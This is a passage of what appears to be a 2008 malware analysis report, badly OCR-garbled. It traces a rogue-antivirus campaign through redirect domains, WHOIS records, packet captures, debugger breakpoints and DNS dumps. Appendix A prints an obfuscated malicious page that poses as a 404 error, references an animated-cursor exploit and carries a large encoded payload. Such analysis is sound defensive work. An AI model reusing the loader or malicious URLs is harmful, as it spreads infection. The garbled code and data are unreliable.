m%2F.cleaners2Findex.php?tmn=adctmp&clone name=swpadcex&led=5645¢afr=pp 1914220742&axl=sedl=&ex
l=gmtrt=null&470b550451&mt info=3923 0 1138'

Resolving trustedantivirus.com... 67.55.81.250

Connecting to trustedantivirus.com|67.55.81.250|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: unspecified [text/html] [ <=> ] 30,168 25.88K/s

09:37:41 (25.88 KB/s) -
“index.html?mtrt=avds22&gai=swp gavé&gli=5645&gff=pp 1914220742&eu=http:%2F%2Fadvancedcleaner.co
m%2F.cleaners2Findex.php?tmn=adctmp&clone name=swpadcex&led=5645¢afr=pp 1914220742&axl=sedl=&ex
l=&mtrt=null&d470b550451&mt_info=3923 0_1138' saved [30168]


http://gomyhit.com/MTkyNzg/2/5645/ax1/ed1/ex1/
http://gomyhit.com/MTkyNzg/2/5645/ax1/ed1/ex1/
http://gomyhit.com/MTkyNzg/2/5645/ax1/ed1/ex1/
http://gomyhit.com/MTkyNzg/2/5645/ax1/ed1/ex1/
http://gomyhit.com/MTkyNzg/2/5645/ax1/ed1/ex1/
http://intervarioclick.com/?mtrt=avds22&gai=swp_gav&gli=5645&gff=pp_1914220742&eu=http%3A%2F%2Fadvancedcleaner.com%2F.cleaner%2Findex.php%3Ftmn%3Dadctmp%26clone_name%3Dswpadcex%26led%3D5645%26afr%3Dpp_1914220742&ax1=&ed1=&ex1
http://intervarioclick.com/?mtrt=avds22&gai=swp_gav&gli=5645&gff=pp_1914220742&eu=http%3A%2F%2Fadvancedcleaner.com%2F.cleaner%2Findex.php%3Ftmn%3Dadctmp%26clone_name%3Dswpadcex%26led%3D5645%26afr%3Dpp_1914220742&ax1=&ed1=&ex1
http://intervarioclick.com/?mtrt=avds22&gai=swp_gav&gli=5645&gff=pp_1914220742&eu=http%3A%2F%2Fadvancedcleaner.com%2F.cleaner%2Findex.php%3Ftmn%3Dadctmp%26clone_name%3Dswpadcex%26led%3D5645%26afr%3Dpp_1914220742&ax1=&ed1=&ex1
http://intervarioclick.com/?mtrt=avds22&gai=swp_gav&gli=5645&gff=pp_1914220742&eu=http%3A%2F%2Fadvancedcleaner.com%2F.cleaner%2Findex.php%3Ftmn%3Dadctmp%26clone_name%3Dswpadcex%26led%3D5645%26afr%3Dpp_1914220742&ax1=&ed1=&ex1
http://intervarioclick.com/?mtrt=avds22&gai=swp_gav&gli=5645&gff=pp_1914220742&eu=http%3A%2F%2Fadvancedcleaner.com%2F.cleaner%2Findex.php%3Ftmn%3Dadctmp%26clone_name%3Dswpadcex%26led%3D5645%26afr%3Dpp_1914220742&ax1=&ed1=&ex1
http://intervarioclick.com/?mtrt=avds22&gai=swp_gav&gli=5645&gff=pp_1914220742&eu=http%3A%2F%2Fadvancedcleaner.com%2F.cleaner%2Findex.php%3Ftmn%3Dadctmp%26clone_name%3Dswpadcex%26led%3D5645%26afr%3Dpp_1914220742&ax1=&ed1=&ex1
http://trustedantivirus.com/data/?mtrt=avds22&gai=swp_gav&gli=5645&gff=pp_1914220742&eu=http%3A%2F%2Fadvancedcleaner.com%2F.cleaner%2Findex.php%3Ftmn%3Dadctmp%26clone_name%3Dswpadcex%26led%3D5645%26afr%3Dpp_1914220742&ax1=&ed1=&ex1=&mtrt=null&470b550451&mt_info=3923_0_1138
http://trustedantivirus.com/data/?mtrt=avds22&gai=swp_gav&gli=5645&gff=pp_1914220742&eu=http%3A%2F%2Fadvancedcleaner.com%2F.cleaner%2Findex.php%3Ftmn%3Dadctmp%26clone_name%3Dswpadcex%26led%3D5645%26afr%3Dpp_1914220742&ax1=&ed1=&ex1=&mtrt=null&470b550451&mt_info=3923_0_1138
http://trustedantivirus.com/data/?mtrt=avds22&gai=swp_gav&gli=5645&gff=pp_1914220742&eu=http%3A%2F%2Fadvancedcleaner.com%2F.cleaner%2Findex.php%3Ftmn%3Dadctmp%26clone_name%3Dswpadcex%26led%3D5645%26afr%3Dpp_1914220742&ax1=&ed1=&ex1=&mtrt=null&470b550451&mt_info=3923_0_1138
http://trustedantivirus.com/data/?mtrt=avds22&gai=swp_gav&gli=5645&gff=pp_1914220742&eu=http%3A%2F%2Fadvancedcleaner.com%2F.cleaner%2Findex.php%3Ftmn%3Dadctmp%26clone_name%3Dswpadcex%26led%3D5645%26afr%3Dpp_1914220742&ax1=&ed1=&ex1=&mtrt=null&470b550451&mt_info=3923_0_1138
http://trustedantivirus.com/data/?mtrt=avds22&gai=swp_gav&gli=5645&gff=pp_1914220742&eu=http%3A%2F%2Fadvancedcleaner.com%2F.cleaner%2Findex.php%3Ftmn%3Dadctmp%26clone_name%3Dswpadcex%26led%3D5645%26afr%3Dpp_1914220742&ax1=&ed1=&ex1=&mtrt=null&470b550451&mt_info=3923_0_1138
http://trustedantivirus.com/data/?mtrt=avds22&gai=swp_gav&gli=5645&gff=pp_1914220742&eu=http%3A%2F%2Fadvancedcleaner.com%2F.cleaner%2Findex.php%3Ftmn%3Dadctmp%26clone_name%3Dswpadcex%26led%3D5645%26afr%3Dpp_1914220742&ax1=&ed1=&ex1=&mtrt=null&470b550451&mt_info=3923_0_1138

So gomyhit.com redirects the browser to intervarioclick.com which sets a cookie and does another
redirect to trustedantivirus.com. Inside the parameters passed on the URL to trustedantivirus.com there
is a reference to another domain named advancedcleaner.com. A cookie is also set.
Set-Cookie:
gI=YTolOntzOjEy0iJjb3VudHIS5X2NvZGUi03M6MjoiVVMiO3M6Nz01Y291bnRyeSI7czoxMjoid
W5pdGVkc3RhdGVzIjtzOjUINNOYXR1IIjtz0jk6Im51d211eGljbyI7cz000iJjaXR5Ijtz0jEXO
1JhbGJ1cXV1cnF1ZSI7czoxMToiY291bnRyeVoOhYnIiO3M6MzoiVVNBIjt9; expires=Fri,
27-Mar-2009 07:58:19 GMT; path=/; domain=.adnetserver.com

_ig/x
Stream Conkent
ISET f?mtrt:avd522&ga1=swp_?av&g11=5645&gff=pp_18?5120664&eu=htt HIAKLFE -
2Facvancedcleaner. com¥2F. cleaner¥2Findex. php%3Ftmn®3badctmp®26C ] one_nameX3bswpadcexk

26l ed¥30564 5%26afr®sDpp LBV 5120684 &ax]l =&edl= HTTP/1.

User-agent: Mozillas4.0 (compatible; MSIE 6.0; windows WT 5.1; Svl; .MET CLR
N.1.4322; .MET CLR 2.0.50727F; .MET CLR 3.0.04506,30; .MET CLR 3.0.04505, 6430
Host: dntervarioc]ick. com

Coapt s W

“onnection: kKesp-aAlive

HTTP/1.0 202 Found

Connection: keep-alive

—-Powered-By: PHP/5.2.0-8+etchl0O

Set-Cookie:

gI=YTolontzo]Eydd J1h3vudHI S 2Ny ZGUT03MaM] o vMio3MaNz01Y 2 91lbnRyesSI Fozoxm] ol dwipdavk 3R he
expires=Fri, 27-Mar-200% 07:58:19 GMT; path=/; domain=.adnetserwver.com

cet-Cookie:

gI=¥TolonTzo]Eyod J1h3vudHI S 2NyZGUT03MaM] oTvMio3mMaNzo1 Y2 91lbnRyesI Fozoxm] ol dwipdevk c3Rhe
expires=Fri, 27-mMar-200%9 07:58:19 GMT; path=/; domain=.adnetserwver.com

Location: http: /s trustedantivirus, com/datays”

mtrt=avds22&gai=swp_gav&gli=564 5&gf f=pp_ 1875120664 &au=htt pX3A%2FE2Fadvancedc]eanar. com%
2F.c1eaner%2Findex.pﬁp%Ethn%EDadctmp%Eﬁc]Dne_name%BDswpadcex%261ed%305645%26afr%
SD0pp_l8751l20664&ax] =&adl=&mtrt=nul1&l 70b5504 50&mt_info=3923_0_1135

Content-type: texthtml

“ontent-Length: O

Date: Thu, 27 Mar 2008 07:58:1% GMT S
serwver: lighttpds1.4.13

hd
‘| | |
Save As | Erint‘ Entire conversation (1491 bykes) w |(& ASCII O EBCDIC O HexDump O C Arrays £ Raw
Filter out this stream Close
Here is the domain and network ownership breakdown information:
GOMYHIT.COM INTERVARIOCLICK.COM
DOMAIN DOMAIN
addresses 204.16.204.56 addresses 76.74.249.30
Registrar: YESNIC CO. LTD. Registrar: COMMUNIGAL
Name : HANK HOLLAND COMMUNICATIONS LTD
Email : gomyhit@yahoo.com Hostmaster Inc.
Address : 427 W 19th St, New York NY, Schoolstraat 214
10011,US Wambeek, Wambeek 1741
Tel . 212-627-3235 no_name_inc@yahoo.com
BE
NETWORK Donna V. Reed, Donna no_name_inc@yahoo.com
CustName: SetupAHost 1-555-555-1234



mailto:gomyhit@yahoo.com

Address: 157 Adelaide Street West, Suite 352,
Toronto, ON,M5H-4E7,CA NETWORK
RTechName: Khosla, Sameer OrgName: ServerBeach
RTechPhone: +1-416-682-3434 OrglD: SERVER-17
RTechEmail: skhosla@snickers.org Address: 8500 Vicar Drive 8500, Suite 500
City: San Antonio
StateProv: TX
PostalCode: 78218
Country: us
TRUSTEDANTIVIRUS.COM ADVANCEDCLEANER.COM
DOMAIN DOMAIN
addresses 67.55.81.250 Addresses 85.17.4.103
Registrar: TUCOWS INC. Registrar: YESNIC CO. LTD.
LocusSoftware Inc. Name: AdvancedCleaner Inc.
22 Hill Street Jersey, JE2 4UA, GB Email : hostmaster@advancedcleaner.com
IVIRUS.COM Address : 402 S Medical Dr, Bountiful UT
Y.Roase, Kelly theedisonson@gmail.com Zipcode : 84010
Nation :US
NETWORK Tel  :801-295-9644
OrgName: Webair Internet Development Inc
OrglD:  WAIR NETWORK
Address: 333 Jericho Tpke, Suite 200, Jericho, descr: LeaseWeb
NY, 11753, US descr: P.O. Box 93054
RNOCEmail: IPAdmin@webair.com descr: 1090BB AMSTERDAM
descr: Netherlands
descr: www.leaseweb.com

The source of index.html from trustedantivirus.com is yet another series of malicious java scripts. The
relevant pieces are reproduced here.

<script language='javascript' type='text/javascript'
src='http://trustedantivirus.com/data/js/ajax.js'></script>
<script language='javascript' type='text/javascript'
src='http://trustedantivirus.com/data/js/errorhandler.js'></script>
<script language='javascript' type='text/javascript'>
ErrorHandler ('silent');
</script>

<script language="javascript"
src="http://trustedantivirus.com/data/js/AC RunActiveContent.js "></script>

<a
href="/data/installer.php?4454060952450354590£f0e064858583e11116613545e5c0a08
51415a59" class="logo”>

<a
href="/data/installer.php?4454060952450354590f0e064858583e11116613545e5c0a08
51415a59" class="'download link' id="download link”>

<a
href="/data/installer.php?4454060952450354590f0e064858583e11116613545e5c0a08
51415a59" class="download link ban link">

<a
href="/data/installer.php?4454060952450354590£f0e064858583e11116613545e5c0a08
51415a59" class="'download link' id="download link">



mailto:skhosla@snickers.org
mailto:IPAdmin@webair.com
http://www.leaseweb.com/
http://www.trustedantivirus.com/data/js/AC_RunActiveContent.js

<script language='javascript' type='text/javascript'

src='http://trustedantivirus.com/data/js/crypt.js'></script>

<script language='JavaScript'>

Crypt = new Crypt();

eval (Crypt.decode ('CXZhciBBSURfUEFSQU1fTkFNRSASICAnYWknOwoJdmFyIEFJRFOQQVJIBT

VOWQUxXVRSAIICArZX1lpbl91lcl8nOwoJdmFyIExXxJRFIQQVIBTVIOQUIFID0gJ2dsaSc7Cgl2YXT
SNIP

g0K"));

</script>

<script language='javascript' type='text/javascript'

src='http://trustedantivirus.com/data/js/managers.js'></script>

<script language="javascript" type="text/javascript"
src="http://trustedantivirus.com/data/js/index.js"></script>

The called javascript files have too much code to reproduce here but AC_RunActiveContent.js detects
Flash Player version as well as the client browser and is taken straight from adobe source code. The
file ajax.js is part of the simple ajax code kit (sack) from twilight universe. The file error.js is an error
handling set of code which causes any errors to be silent.

The more interesting piece of code is crypt.js which is what is used to decrypt the pile of encoded data
in the middle of the webpage. Google did not immediately find any copies of this code so it’s possible
it was custom written for this attack. The code is reproduced in full in the appendix:

function Crypt() {

// private property
this. keyStr = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopgrstuvwxyz0123456789+/=";

// public method for encoding
this.encode = function (input) {

. SNIP .

// public method for decoding
this.decode = function (input) {
var output = '';
var chrl, chr2, chr3;
var encl, enc2, enc3, encé4;
var i = 0;

input = input.replace(/["A-Za-z0-9\+\/\=1/g, '');
. SNIP .
// private method for UTF-8 encoding
this. utf8 encode = function (string) {
string = string.replace (/\\r\\n/g, '\\n"'");

var utftext = '';

. SNIP .
// private method for UTF-8 decoding
this. utf8 decode = function (utftext) {

The trustedantivirus.com site eventually delivers an exe to the victim:



{@ Follow TCP stream

rSkream Content

IZET AStrustedantivirus. com/TrustedantivirusAnstall_shd_en.exe HTTR/. O
User-agent: Mozilla 4.0 (compatible; MSIE 6.0; windows MT 5.1; Swl; .MNET CLR
n.1.4322; .HWET CLR 2.0.50727; .MET CLR 3.0.04506.30; .MWET CLR 3.0.04506,648)
Host: download-av. com

Ccapt: WA

i—onnection: kKeep-alive

HTTR 1.1 200 oK

Date: Thu, 27 Mar 2008 08:24:50 GMT

server: Apaches1.3.36 (Unix) PHP/5.1.4 with Hardening-rPatch
“ache—Control: max-age=10800

Expires: Thu, 27 Mar 2008 11:24:50 GMT
Last-mModified: Thu, 20 Mar 2008 14:58:01 GMT|
ETag: "218015-114508-47e27kh7o"
Lccept-Ranges: bytes

“ontent-Length: 1131784

Connection: cClose

“ontent-Type: applicationsoctet-stream

JMPooocoooooocoooooocooooo = l..L.'Thi=s
program cannot be run in DOS mode.
& S Bl e e e e e e e e e e e e SIS e
............... Tooooooooooo
........... e 1= T = I
0...0
...... PR F - e« P AP
A i
Save Esl Erintl Entire conversation (1132444 bytes) lVlF ASCII T EBCDIC  Hex Dump © C Arrays © Raw
Filter aut this stream Close

This exe is not packed. IDA pro provided a list of imports used by this binary and the binary was
loaded into OllyDBG and breakpoints were set on interesting API calls. Here is the table of

breakpoints that were used:




Breakpoints

Address Module Active Disassembly
Comment

71AB2BF4 WS2 32.inet addr WS2 32 Always PUSH 10
71AB3B91 WS2 32.socket WS2 32 Always MOV EDI, EDI
71AB406A WS2 32.connect Ws2 32 Always MOV EDI, EDI
71AB4FD4 WS2 32.gethostbyname WS2 32 Always MOV EDI, EDI
71AB9639 WS2_32.closesocket WS2_32 Always MOV EDI, EDI
771BB1A5 WININET.InternetSetOptionA WININET Always MOV EDI, EDI
771C30C3 WININET.InternetConnectA WININET Always MOV EDI, EDI
771C36AD WININET.HttpOpenRequestA WININET Always MOV EDI, EDI
771C40B2 WININET.HttpAddRequestHeadersA WININET Always PUSH 24
771C4D6C WININET.InternetCloseHandle WININET Always MOV EDI, EDI
771C58BA WININET.InternetOpenA WININET Always MOV EDI, EDI
771C5B6D WININET.InternetOpenUrlA WININET Always PUSH 24
771C6249 WININET.HttpSendRequestA WININET Always MOV EDI, EDI
771C73DC WININET.InternetCrackUrlA WININET Always MOV EDI, EDI
771C780A WININET.HttpQueryInfoA WININET Always PUSH 2C
771C80F4 WININET.InternetReadFile WININET Always MOV EDI, EDI
771F82DA WININET.InternetCheckConnectionA WININET Always MOV EDI, EDI
77214B71 WININET.InternetGetCookieA WININET Always MOV EDI, EDI
77D4A8AD USER32.wsprintfA USER32 Always MOV EDI, EDI
77D4CB85 USER32.PostMessageA USER32 Always MOV EDI, EDI
77D4DAEA USER32.DestroyWindow USER32 Always MOV EAX, 1163
77DDEAF4 ADVAPI32.RegCreateKeyExA ADVAPI32 Always MOV EDI, EDI
77DDEBE7 ADVAPI32.RegSetValueExA ADVAPI32 Always PUSH 2C
77DDEDES5 ADVAPI32.RegDeleteValueA ADVAPI32 Always MOV EDI, EDI
77DFC123 ADVAPI32.RegDeleteKeyA ADVAPI32 Always MOV EDI, EDI
77F16E98 GDI32.DeleteDC GDI32 Always MOV EDI, EDI
7C80180E kernel32.ReadFile kernel32 Always PUSH 20
7C801A24 kernel32.CreateFileA kernel32 Always MOV EDI, EDI
7C801E16 kernel32.TerminateProcess kernel32 Always MOV EDI, EDI
7C80A017 kernel32.SetEvent kernel32 Always MOV EDI, EDI
7C80A35E kernel32.CompareStringW kernel32 Always MOV EDI, EDI
7C80C058 kernel32.ExitThread kernel32 Always PUSH 14
7C80D077 kernel32.CompareStringA kernel32 Always MOV EDI, EDI
7C80E93F kernel32.CreateMutexA kernel32 Always MOV EDI, EDI
7C810D87 kernel32.WriteFile kernel32 Always PUSH 18
7C81CDDA kernel32.ExitProcess kernel32 Always MOV EDI, EDI
7C81CEO03 kernel32.TerminateThread kernel32 Always MOV EDI, EDI
7C8308AD kernel32.CreateEventA kernel32 Always MOV EDI, EDI
7C831EAB kernel32.DeleteFileA kernel32 Always MOV EDI, EDI
7C833478 kernel32.SetEnvironmentVariableA kernel32 Always MOV EDI, EDI
7C85B219 kernel32.RemoveDirectoryA kernel32 Always MOV EDI, EDI
7CA40B85 SHELL32.ShellExecuteExA SHELL32 Always MOV EDI, EDI
7CA40EBO SHELL32.ShellExecuteA SHELL32 Always MOV EDI, EDI

After debugging and checking each breakpoint that was hit it was determined that this program is just
another loader for another series of programs from a variety of domains. At this point we ceased
following the thread.

In order to capture the domain and web information we setup a fake DNS server and a fake web server
using netcat on port 80 and got:

C:\>nc -L -p 80
GET /AntiVirusSetupFree_en.exe HTTP/1.1

User-Agent: IM Downloader
Host: download-av.com



Here are the DNS queries that were made to our fake DNS server.

Request:

44
68
64

99 01 00 00 01 00 00O 00 00 0O
69 76 65 10 65 61 73 79 64 6F
73 6F 66 74 03 63 6F 6D 00 00

Response:

44
68
64
00

99 81 80 00 01 00 01 00 00 0O
69 76 65 10 65 61 73 79 64 6F
73 6F 66 74 03 63 6F 6D 00 00
01 00 01 00 00 51 81 00 04 0OA

Request:

BC
65
63

98 01 00 00 01 00 OO 00 00O 0O
70 65 72 OA 6E 6F 77 61 79 76
6F 6D 00 00 01 00 O1

Response:

BC
65
63
51

98 81 80 00 01 00 01 00 00 00
70 65 72 0OA 6E 6F 77 61 79 76
6F 6D 00 00 01 00 01 CO OC 00
81 00 04 0A 0A 0A 01

00
77
01

00
77
01
0A

00
69

00
69
01

07 61 72 63 15 arc]
oE 6C oF 61 [hive.easydownloa]
00 01 [dsoft.com..... ]
07 61 72 63 D e ieeeeeenn arc]
oE 6C oF 61 [hive.easydownloa]
00 01 CO ocC [dsoft.com....... ]
0A 01 [even.. Quvienn. ]
07 79 6B 65 [, vke]
72 75 73 03 [eper.nowayvirus.]

[com..... ]
07 79 6B 65 e e e e e vke
72 75 73 03 [eper.nowayvirus.

00 01 00 00 [com. ...

EASYDOWNLOADSOFT.COM

NOWAYVIRUS.COM

Registrar: WILD WEST DOMAINS, INC.

OrgName:
Inc
OrgID:
Address:
Address:
City:

Webair Internet Development

WAIR

333 Jericho Tpke
Suite 200
Jericho

StateProv: NY
PostalCode: 11753

Country:

us

OrgName: Webair Internet Development
Inc

OrglID: WAIR

Address: 333 Jericho Tpke

Address: Suite 200

City: Jericho

StateProv: NY
PostalCode: 11753
Country: Us
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PAYMENT SCHEME

Attackers Receive Payment for:

- Raising search rankings by numbers of blogs linking to their sites
- Advertising on malicious websites users are directed to

- Per install of malware

- Per POST of stolen personal infomration

- Per clicked link




VIII. CONCLUSIONS

The group of individuals behind this attack is using a mixture of advanced, basic, and obscure methods
to carry out their goals of infecting computers via blog comment spam. The sheer volume of encoding,
obfuscation, redirection, exploits and number of diverse websites across many countries involved
makes it very difficult to follow all threads and track every aspect of this attack down. However the
attackers may have made a mistake by leaving log files containing IP address information world
readable to the web. This may allow law enforcement and other members of the internet community to
track down and stop what is truly a great threat to the average user.
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Appendex A.

1c1008.html:

<html><head><title>404 Not Found</title>

<style>

* {CURSOR: url ("anr/usl008.anr")}

</style>

</head>

<body><hl>Not Found</hl>

<p>The requested URL was not found on this server.</p>

<hr>

<address>Apache/2.2.4 (EL4) Server at www.prolnx.info Port 80</address>

<script language="JavaScript">

function XKdXSY (ii) {var ks="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopgrstuvwxyz0123456789+/=";var
oco="";var cl,c2,c3;var el,e2,e3,ed;var

i=0;do{el=ks.indexOf (ii.charAt (i++));e2=ks.indexOf (ii.charAt (i++)) ;e3=ks.indexOf (ii.charAt (i++)) ;ed=ks.
indexOf (ii.charAt (i++));cl=(el<<2) | (e2>>4);c2=((e2&15)<<4) | (e3>>2) ;c3=((e3&3)<<6) |ed;o0o0=00+String.fromC
harCode (cl);if (e3!=64) {oo=00+String.fromCharCode (c2);}if (e4!=64) {oco=00+String.fromCharCode (c3);}}while(
i<ii.length);return oo;}

function fTomz (al,bl) {var i; var o="";if (!bl) return

document.write (fTomz (XKdXSY (al),arguments.callee.toString() .replace(/["a-zA-20-9]1/g,"")));for (i=0;
i<al.length; i++){o+=String.fromCharCode (al.charCodeAt (i%al.length)"bl.charCodeAt (i%bl.length));}return
o;}

fTomz ('WhQeExgMGO04FOws IRWBfC1lwXD1wKGgABHEKIAIwXWBkUHACJIDg1VBQAHEX8GVEVFETOLGRI1ekQVEgAycjM7NyFTWUEVAXMN
CRhbb0gLOgJISAAPaJwYRHQGKAVIGLJ5Z2T11sUWEKQIARRUWIDWkTHQgINk1QIw8RBYEMHYOYFVB]jCwEDBENAYhcTMUSNMXxTBhVZCRd
JXH4BBBkHBWIHLgoOKEW8VBQ4YTBS5kAxSsLBWgRGWZADgoZNVMpRxwaHzgKQxgEWQONHHW4ASUtBVRObCkoTUQERExXxMbCBtAFgEMCx0oDMQ
gEFkKkRISFZwWMS1MPDw6FFWEHBNDbDAKCLOM+Tw8DCwsRDCcdHQc6HgIATVEGDgoFHYx 9GRkcRiwmVBCcED1IUJCE1cVBVJE1kCExtOIzcwH
hk2SFxSGyQAPTJoS00AOhFEBYEUAiVScxUHXB8BDSEEEWOMKDUJE1h8VkBZOwWoQAAQAAROLVACQH1cKG1ZLGOVPAE9eFGCMAENCQ1Zc
UgcDDR5UYXIQSFIeVBAEDWhHRAANWE4bWTELEQQSMSAPEDOOEHA9CEYYQQIHFgwRDRxXbBkgXEWSMEkK97VOBAThwGFwl1MGkMAFxstchd
LR1tPHUdzGWRQGAAhBR4NCht 7G15JTEVPVUZNPkgCEzcMDEOEGBgVHHgQCURNYAZAQUOYFxdHDOgGHRWIESVUXT11FL1ogEFQNEQsoFg
IXBgBAHEJPRFACQ1ZLRk1PdABINGQOBFAV1eBFsSCxx4Bg9GShAATFQOBhwdTxhVCBMPGFIVG1IRYR)tBKh8sBAYyNjoVGUNQS1UDTE1dU
x5BDWORBhxHN1O0JFBNtGWNQREARTEEBNShJGRxXGCgQIXEFGQO0xYTghaLwwbHBYYDAOTThXxDTWFKSFVTx1FA1AXCwlaJkYfGDx+AACR
REQcT1QTFkMaSBpSJIhkFCW1ITGOIMTAPAIBECPQceEBEaRwhcSUpUFESNBYAMBVIEGBIMC2sADAIUAAFBFEsKeBh+EwcABxsKGgNFHDA
YGTkZL041Q00TMWAELSZwaOprBAYHTRODGEFNeQQIZCQlPZSUVAEkKZFF4KXAKETWEADNPQR1gVRgObBxBUQRMWOUXMHQFCTWIEQL1FAAK
RZTRUMS1p4NQ4WRQVVWGIVADPplH285GQVBDEWLCXBUMC99KxwVAhEKFRAKBxX1KGFAVEOCXCQYGHFOXR08dfxoRDWMUZB45A01HQV8HR
1YGEROfFxc3JgQIVBERXCO05CIw8011PMTkYHREETR8EZ I VAN QjKgwWMTRnJIzNaVORMVX40QwINGAYNXAP6VALJGhULbwtmGQ4JQUdh
NFVORycMBgBGDD1+Dg8LBABAMSQ3LCEWRkUyJCEOFz0WCw8DDCs1dAs9NzQCUkZMaE9jHBEPBBOEHEAHGEMTawYxFm4e SwwEDhFRRQA
CAOgzBgAcBAs3KRcEBhcdRzYtMDc+I0kKkTNmc40CYB8ARg+AYyCcKAV80CRCZG1AWKgsgOyMvSVVDbOEIvG3QOMDA47I0w3enkaERMXEWAECO
2ZQkpaTBFvGH4SWQ14AAhHWKQIAQIKRRMENSOCVOILX1tSOhOTSGYeZBAHSFRPIRYCIQIIL1oOQWMwKhYbPDINQ2dSJgsRLgGMTAQJIBP
QOB20hYMJk1VQBhKU2sdY1JEFYMEIQ5eJEOPS1QwOQESsJitGTTcgPDMMLCYbM2c9FCA2dxYTX0hJYw4AMHKEGFgdfWkczV1I1IMITEtBWUOQ
G1lhXFAgYFgNOVGcCNSdAKKzY3BRkPBwsZRF5kEBIXQVEMHQgYQSERARKBCQEAMgMEGL5rFW8OSUKCR1IJSWALjDh8hCgoCVEVIXGh+HUC
hFwMcROR4Yg5cFBONEQQZBwkVW3h1GUUiFROCWUQAROCPSBBUFX0THGtCVUx6VBRORR4AcThxUDBZFSVUXCOEVAQsOXEs7KOR/TSAQQx
hZERMEU1RWEFgFBLAGUWAAKGhgXABBHQSUfCgORBAFLXV5GO0E+Gy4uMDcVMA1USRYDXg8MAFhTUUhXTBhFFw4nFxpBCO5SHNOYEXPEFG
101PhAERXEcXDpADAJYDQkoCBgMDBOgXFA6GgYUBhodYUFaUixBNwQXVDcHIxsvCkwBJIVSLCFIARVXOTOgEEQAJFRErRwFMYQ9 ) FkMV
RRVHEAxSWEFQCAUASFhANChUFKQEKMAOfCUKTI10aNAEMBBIhGwgUFkQCR110UgFKPAIDCDEBMh4eDFwBAN8NBBROalZxaHkcEQITEXY
FTQtdUxhrGB4cRQIPNxXBSVESFLjkiKSI6Ji0/EwZsGlxGAFw6URSEZQMIBwsRQAOLeBYbBOJHVFtUTT5IAKM3DAXNBBhDE2 sGMRZEHM
EQDUEMTEcyOyYtIWggJCQ2HZNGXmMEbRZ FQGGA6CDIBHGBCERZFDQ8bQKNGQFROG3QMDA4CWUPUXOEJYwITCO08SRgGZVULhUVy4yR1IRDG
kM2DwISJgYyDAoxRwkecykNNn95UxhaUhpVDgQaFxt LBEVMHM8GC1icBAAdAGSkNMS2YcaRhrBOsnOkRtG2UGGO01JGhEbFkALIAQZBCzdf
EAAAS1ZbVEO+SAITNwwMTQQYQOxNrBjEWRB5ShAXpPABQADUSQDE1ITCgZISWMSRAYGAAOKGQIMThx+HAACVASSGRXGSE4RFhknAgkcRwx
WORMXWRMNHkc3EQIDAAUDRRSKG1dbVUQYEFs+DQsYGzcREQYTIAPFHIxgBjEOCcFORHFIEFBkGB1wWSkKkEXZhEXDU80oVAUaT1pSRyUPAB
IMCB5vM15XAhQOnJiR8VDOTUAOMDRELHU8wWGBMaHQ4CTOgOLOpKUDAGAFOUALIRKS1BYV1IEAVKLUFBESFpROQFIPCFBZBVIWWAYEdQFZCQ
FAKV11XR19VRRcaFgsNBwYLX1M1TUUCMEQPEw8aPhNRX05GGONQRESMB1 IGWyhXSUxfTwYDDALGAWRDULQYR)cOGRkwYWExCcyJrQwQG
EgcDTUNFW1lhrEWYYbwl1Ln4ADBOSAAtYXUhYbxxwIy9eWhMPABxJUJkjRCRNBwS5YSBwaen4JYxgGFFIGTX5IUULJGQUXQUVDVUEcJIhh
EJDMGCBgZSwBeLTENNmsnJjUncSMwPHAIPSOFITEOIjkrQlA7TMTwsIzIOGTIOKF88DRkWIi80SyxfR1IXVRVEEQLI kgKTd7NjchJzciMT
knO1l0wGjozFi85N1ZhThczIQcxCWMINXgZPyMsFSsUMQOstD1xRQk1TCik1BSQgPTUoONCEbLzEgDQwecUOQIi4FJHNYJXwoJBkrICkel
hcl1BSQqJhE/KyxzJg9CfkhIQgRLIh8sNhkoKSEPNiUlcBsoKiYAJSZwFCUiQwciICQ20D0jRiIEhLXASLDMSOTEZX1EIRVNEWE4KFDw4
ThczFn8Ycx4tJgpELx8+HSglZx4rHUVGIBADCTk6NWQ5ICgBOZEGPYIAIDIGV2hufkOWBAG+RSAXPOU+NysvIDASQSEPEWYnKj IKNzN
dIy4gME4ND2pINQOINSRKIyd+KCgUNKdYVEh/UxcTCiAoJyZeEQI4CA86PRIVIVI0cLzYOFSk2cUA4NXheKTogDic3Z2BQ1lUT80PIEWOy
YhUgxLSUkCDi1AKw48CDw7J0AiINi1ZPhQvICEPNAt+IQFCLAg8Qi0mL1w0CX83KCENMSMgDFE7ALVTULtVDA48HBsONEKVITIfHwONnC
iwZNgEJIQkOPJBQLiMwPzEjBxNBJIyoAQisKNVUuDyACDBIABEBKSBAZeissdS1RIDMEXSUTFTEJAYMTKDY 9AAw7UUYOXy1VLWUyWiwm
E14gIAXAJyR7KyomVO1PThYGWDAFEhUl1VhMwPFBOOAEQKR4DBiswOzUjPFc2ICYxHiM6L2U9Byw] fDZ3MTANTA4uK1 9UQU4AWF1UhQSN
eKisxMD8iTIiES5MCQeAhTIaKwZIASJVGx4dNEYtJjO0xICEKMDW30BULIQZGPJ1ETO5CRxwQHABRIWGOrDSkzXFXHThspAGL1AQUPMEWSVVA
1JUnMaBwUCXGWEDh9jEkFPYzcvAT11i0kAVKSoyTVS5LHQIBGRZLHRIWGXZDCgYGWnNNDVUxXxhSVRCFhdCROCcPYhNFSVUWAQwTGASNAECMH
AM1Gwg/DVQPVBgVWksZAxgKChJAGE1vFVsBCxAUFWE f DAWBAxdBVgwWCAKNNWDCZIAtxcggYWngGWx4AG)jUHFxMFDhAREUdxFx4 THRQb
AVJIAQUEGDQkoPgobRO1PCEADHANCGBCcHCRNAWENZD1wFCwkBBgdNbkhQW2pUbhhBVASbBEFI4ZRAXOFQSQVBMWE4JERICCAACCAQMNYS
HKXEKFhkWTFVHCUgRBAAWGkYKTw4TaQl jBghGEfASEWho7FkMPawl JAAAATWEGXXEABWQIHgESRWIZTUCS5IJxQAS1 9HDYQbQy1 6YEYWN ]



UNEOhJbRWLRUYWWkMaZgUDRVwAdFx s ZOQMt WgRcTAGKSUEPNHMOBFpGX 1t JOgwVRB4LR1ZdU2MSWQ1SCg8 TBRpHCGOTHHG+ZQ10SgppF
WsAJhsRFy9cRFAYV28TbRIADFIXAQ4CcYwUPKSCBQUs7F28aFQ1 ICW8CFABOGggGDWURCGMPFSAPUFOFXgFEGWQCHVGMEWEACWN FXATR
